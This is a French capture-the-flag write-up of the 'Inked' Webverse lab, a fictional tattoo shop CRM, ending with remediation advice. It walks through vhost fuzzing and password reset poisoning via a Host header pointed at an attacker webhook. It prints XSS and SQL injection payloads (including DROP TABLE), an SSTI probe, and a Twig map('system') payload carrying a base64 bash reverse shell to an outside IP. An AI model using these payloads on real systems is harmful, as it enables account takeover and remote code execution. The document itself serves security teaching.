ZNote Logo
ZNote
Labs PentestmediumWebverse
16-06-2026
10 min

Lab Inked : Password Reset Poisoning vers SSTI Twig et Shell sur un CRM de Salon de Tatouage

Pentest d'un salon de tatouage en ligne : découverte d'un sous-domaine admin par virtual host fuzzing, capture d'un token de réinitialisation via Password Reset Poisoning (Host Header Injection), accès au dashboard staff, puis RCE via une SSTI Twig dans le formulaire de prise de rendez-vous.

Pentest
Password Reset Poisoning
Host Header Injection
SSTI
Twig
RCE
Virtual Host Fuzzing
Webverse
Web Security

Contexte et Objectifs

ChampDétail
PlateformeWebverse
LienAccéder au Lab
Cibleinked.local, 10.100.0.30
OSLinux (nginx)
Vuln. clésHost Header Injection, SSTI Twig
DifficultéMedium

Scénario : Les coordonnées d'un client de Jill's Tatt Shop ont été retrouvées là où elles n'auraient pas dû être. Jill nous mandate pour tester l'ensemble de ses systèmes : le site public de prise de rendez-vous, le dashboard staff sur un sous-domaine séparé, et l'API CRM qui les relie. On commence en visiteur anonyme sur le site public.

Kill chain :

Sortie
Site public inked.local (port 80)
        │
        ▼
Virtual host fuzzing → admin.inked.local découvert
        │
        ▼
Formulaire public → tests XSS/SQLi → négatifs
        │
        ▼
Email admin jill@inked.local trouvé dans le footer
        │
        ▼
Password Reset Poisoning → Host Header modifié → token capturé
        │
        ▼
Accès dashboard admin en tant que jill
        │
        ▼
Formulaire appointments → SSTI détectée sur le champ description
        │
        ▼
Identification moteur Twig → RCE via map('system')
        │
        ▼
Reverse shell → flag

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 10.100.0.30 -- -sC -sV -Pn

Output :

Sortie
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 nginx
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://inked.local/

Un seul port ouvert : 80/tcp avec nginx. Le serveur redirige automatiquement vers http://inked.local/. Un seul service web, pas de SSH ni d'autres vecteurs apparents. Toute l'attaque passera par le web.

Le TTL de 63 confirme une machine Linux (TTL initial 64, décrémenté d'un saut).

Page d'accueil inked.local

Le site présente un salon de tatouage avec des pages standard : galerie, artistes, FAQ, et un formulaire de prise de rendez-vous.


2. Enumération Web

Virtual Host Fuzzing

Un seul domaine visible, mais le briefing mentionne un dashboard staff sur un sous-domaine séparé. On tente de découvrir des sous-domaines via virtual host fuzzing.

Comment fonctionne le virtual host fuzzing :

Sur un serveur nginx ou Apache, plusieurs sites peuvent tourner sur la même IP et le même port. Le serveur utilise l'en-tête HTTP Host pour déterminer quel site servir. En faisant varier cet en-tête avec une wordlist, on peut découvrir des sous-domaines qui ne sont pas référencés publiquement (pas dans le DNS public, pas dans les résultats de recherche).

Commande
bash
ffuf -u "http://inked.local" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.inked.local" \
  -fs 138
OptionRôle
-u "http://inked.local"URL cible, toujours la même IP
-H "Host: FUZZ.inked.local"En-tête Host modifié à chaque tentative avec le mot de la wordlist
-fs 138Filtre les réponses de taille 138 octets, la taille de la réponse par défaut pour les sous-domaines inexistants

[!NOTE] Le -fs 138 (filter size) a été déterminé lors d'un premier lancement sans filtre : toutes les tentatives sur des sous-domaines inexistants retournaient exactement 138 octets. En filtrant cette taille, on ne garde que les réponses différentes, qui correspondent à des sous-domaines réels.

Output :

Résultat FFUF subdomains

Un sous-domaine découvert : admin.inked.local.

On ajoute l'entrée dans /etc/hosts pour pouvoir y accéder :

Commande
bash
echo "10.100.0.30 admin.inked.local" | sudo tee -a /etc/hosts

Page de login admin.inked.local

Un formulaire de connexion avec email et mot de passe. Aucune option d'inscription visible : c'est réservé au staff.

Content Discovery sur inked.local

Commande
bash
feroxbuster -u "http://inked.local" \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

Output :

Sortie
301  GET  http://inked.local/img       => http://inked.local/img/
200  GET  http://inked.local/faq.php
200  GET  http://inked.local/artists.php
200  GET  http://inked.local/booking.php
200  GET  http://inked.local/gallery.php
200  GET  http://inked.local/index.php
301  GET  http://inked.local/_shared   => http://inked.local/_shared/

L'application est en PHP (extensions .php confirmées). Les pages standard ne révèlent rien de sensible, à l'exception de deux éléments :

1. Le formulaire de prise de rendez-vous (booking.php) : il comporte plusieurs champs dont une description libre. Le message affiché sur la page est : "We read every request." Ce texte suggère qu'un membre du staff consulte ces soumissions manuellement, ce qui en fait un vecteur potentiel pour des attaques côté staff (XSS stockée, injection de template).

Formulaire booking.php

2. L'email admin dans le footer : jill@inked.local.

Footer avec email Jill

Cet email est la pièce clé : si on peut réinitialiser le mot de passe de ce compte, on accède au dashboard admin.


3. Investigation du Formulaire de Booking

Avant de cibler le compte admin directement, on teste le formulaire de booking pour des vulnérabilités classiques.

Les tests réalisés :

XSS stockée : payloads <script>alert(1)</script>, <img src=x onerror=alert(1)>, "><svg onload=alert(1)> injectés dans tous les champs. Aucune exécution côté admin détectée.

Injection SQL : payloads ' OR 1=1--, " OR "1"="1, 1; DROP TABLE appointments-- testés sur les champs textuels. Aucune erreur SQL ni comportement anormal.

Ces deux vecteurs sont écartés. On concentre l'effort sur le panel admin.


4. Password Reset Poisoning

Référence : Vaadata : Host Header Attacks

Comprendre l'Attaque

Le Password Reset Poisoning exploite une mauvaise gestion de l'en-tête HTTP Host lors du processus de réinitialisation de mot de passe.

Comportement normal :

Sortie
1. Utilisateur demande un reset pour jill@inked.local
2. Le serveur génère un token unique
3. Le serveur construit le lien : http://[valeur du header Host]/reset?token=XXX
4. Le lien est envoyé par email à jill@inked.local

Le problème : l'étape 3 fait confiance à la valeur de l'en-tête Host fournie par le client dans la requête, au lieu d'utiliser une URL de base configurée côté serveur.

L'attaque :

Sortie
1. Attaquant demande un reset pour jill@inked.local
2. Il modifie l'en-tête Host → attaquant.com
3. Le serveur génère un token et construit :
   http://attaquant.com/reset?token=XXX
4. Jill reçoit l'email avec CE lien
5. Jill clique → le token arrive sur le serveur de l'attaquant
6. Attaquant utilise le token sur le vrai site → accès au compte

Mise en Oeuvre

On utilise Webhook.site comme serveur d'écoute : il génère une URL unique et log toutes les requêtes reçues.

Étape 1 : Capturer la requête de reset avec Burp Suite

On déclenche une réinitialisation de mot de passe pour jill@inked.local et on intercepte la requête dans Burp.

Requête de reset interceptée

Étape 2 : Modifier l'en-tête Host dans le Repeater

On envoie la requête au Repeater et on modifie l'en-tête Host pour pointer vers notre URL Webhook.site :

Sortie
http
POST /forgot-password HTTP/1.1
Host: notre-url.webhook.site
Content-Type: application/x-www-form-urlencoded

email=jill%40inked.local

Requête craftée dans Burp Repeater

On envoie. Le serveur va construire le lien de reset en utilisant notre-url.webhook.site comme base d'URL.

Étape 3 : Récupérer le Token

Sur l'interface Webhook.site, on attend que Jill (ou le système automatisé du lab) clique sur le lien reçu par email :

Token capturé sur Webhook.site

Le token arrive dans les logs de notre webhook :

Sortie
GET /reset-password/ce4fa82d5dca4af2ba2e28153db4919fdbb810edf1fabeb7601457fb5fdbe351

Utilisation du Token

On ouvre le lien de reset sur le vrai site, cette fois avec le token capturé :

Sortie
http://admin.inked.local/reset-password/ce4fa82d5dca4af2ba2e28153db4919fdbb810edf1fabeb7601457fb5fdbe351

Page de réinitialisation de mot de passe

On définit un nouveau mot de passe, puis on se connecte avec jill@inked.local.

Dashboard admin accessible

Accès obtenu au dashboard staff.


5. Investigation du Dashboard Admin

L'écran d'accueil affiche les rendez-vous soumis par les clients.

On soumet un rendez-vous via le site public et on observe son apparition dans le dashboard :

Dashboard appointments

Appointment visible côté admin

Les données saisies dans le formulaire public sont affichées côté admin. Si l'un des champs est rendu sans échappement, on a une injection côté serveur. On teste une SSTI (Server-Side Template Injection).


6. Server-Side Template Injection (SSTI)

Référence : Vaadata : SSTI

Comprendre la Vulnérabilité

Un moteur de template (Twig, Jinja2, Smarty, Freemarker...) est utilisé pour générer du HTML dynamique en combinant un template et des données. Les expressions entourées de balises spéciales comme {{ }} sont évaluées et remplacées par leur résultat.

La faille : si une donnée fournie par l'utilisateur est directement insérée dans le template avant rendu, l'attaquant peut injecter des expressions qui seront évaluées par le moteur. Contrairement à la XSS qui s'exécute côté client, la SSTI s'exécute côté serveur, avec les droits du processus web.

Détection

On injecte le payload universel de détection SSTI dans tous les champs du formulaire :

Sortie
${{<%[%'"}}@{%.#{<%=

Ce payload contient la syntaxe de déclenchement de la plupart des moteurs de template. Si l'un d'eux est présent et non protégé, il retournera une erreur ou un comportement anormal.

Payload SSTI injecté dans le formulaire

Résultat : erreur sur le champ description

Le champ description provoque une erreur. C'est notre vecteur.

Identification du Moteur de Template

On teste un payload d'identification basé sur les erreurs :

Sortie
{{(1/0).xyz.xyz}}

Référence : PayloadsAllTheThings - Error based detection

Erreur générée par le payload

Le message d'erreur et sa syntaxe correspondent à la signature de Twig, un moteur de template PHP très répandu.

Tableau d'identification des moteurs

Moteur confirmé : Twig (PHP).


7. RCE via SSTI Twig

Le Payload

Twig 1.x expose le filtre map avec la fonction system, ce qui permet d'exécuter des commandes OS :

Sortie
{{ ['commande'] | map('system') | join }}

Décomposition du payload :

ÉlémentRôle
['commande']Tableau contenant la commande à exécuter
map('system')Applique la fonction PHP system() à chaque élément du tableau
joinConcatène les résultats pour les afficher

system() est une fonction PHP native qui exécute une commande shell et retourne son output. En la passant via map, Twig l'applique à notre commande avec les droits du processus PHP, donc ceux du serveur web.

Préparation du Reverse Shell

On encode le reverse shell en Base64 pour éviter les problèmes d'échappement de caractères spéciaux (>, &, /) qui pourraient être interprétés par le template ou le serveur avant exécution :

Commande
bash
echo "bash -i >& /dev/tcp/10.9.0.65/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjAuNjUvNDQ0NCAwPiYxCg==

Le payload final décode la chaîne Base64 et la passe à bash :

Sortie
{{ ['echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjAuNjUvNDQ0NCAwPiYxCg== | base64 -d | bash'] | map('system') | join }}

Listener avec Penelope

On utilise Penelope à la place de netcat classique. Penelope est un handler de reverse shell qui stabilise automatiquement le TTY, gère les sessions multiples et propose un menu interactif.

Commande
bash
penelope
Sortie
[+] Listening for reverse shells on 0.0.0.0:4444
    -> 127.0.0.1 • 192.168.1.144 • 10.9.0.65
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)

Injection

On soumet le payload dans le champ description du formulaire de booking :

Payload SSTI injecté dans la description

Quand le staff consulte le dashboard et que le template rend la description, system() est appelé, et Penelope reçoit la connexion :

Connexion reçue dans Penelope


8. Flag

Commande
bash
cat /flag.txt

Flag


9. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan          → nginx port 80, redirection inked.local
2. FFUF vhost        → admin.inked.local découvert
3. Feroxbuster       → booking.php + email jill@inked.local dans le footer
4. Tests formulaire  → XSS et SQLi négatifs
5. Password Reset Poisoning → Host header modifié → token capturé → accès jill
6. Dashboard admin   → formulaire appointments affiche les données clients
7. SSTI détection    → champ description vulnérable
8. SSTI identification → moteur Twig confirmé
9. Payload Twig RCE  → reverse shell via map('system')
10. Flag             → lu dans /flag.txt

Remédiation

VecteurProblèmeRemédiation
Virtual host non référencéadmin.inked.local découvrable par fuzzingLa sécurité par obscurité ne suffit pas. Protéger le panel admin par IP whitelisting, VPN ou authentification forte en amont (WAF, bastion)
Email admin dans le footerjill@inked.local exposé publiquementUtiliser une adresse générique de contact. Ne jamais exposer les emails des comptes admin
Password Reset PoisoningLe serveur construit l'URL de reset depuis l'en-tête Host clientDéfinir une base_url fixe dans la configuration serveur et ne jamais utiliser l'en-tête Host pour construire des URLs dans des fonctions sensibles
SSTI sur le champ descriptionLes données utilisateur sont insérées directement dans le template TwigNe jamais insérer de données non vérifiées directement dans un template. Utiliser les mécanismes d'échappement de Twig (escape filter) ou passer les données via le contexte du template uniquement
Droits excessifs du processus webLe shell obtenu tourne avec les droits du serveur webFaire tourner nginx et PHP-FPM avec un utilisateur dédié sans droits d'écriture sur le système de fichiers et sans accès aux fichiers sensibles

[!NOTE] La leçon principale de ce lab : les deux vulnérabilités exploitées, le Password Reset Poisoning et la SSTI, ont quelque chose en commun. Dans les deux cas, le serveur fait confiance à une entrée utilisateur sans la valider. L'en-tête Host pour construire une URL, et le champ description pour rendre un template. La règle est universelle : toute donnée externe au système doit être traitée comme hostile jusqu'à preuve du contraire.


Writeup rédigé par Zcook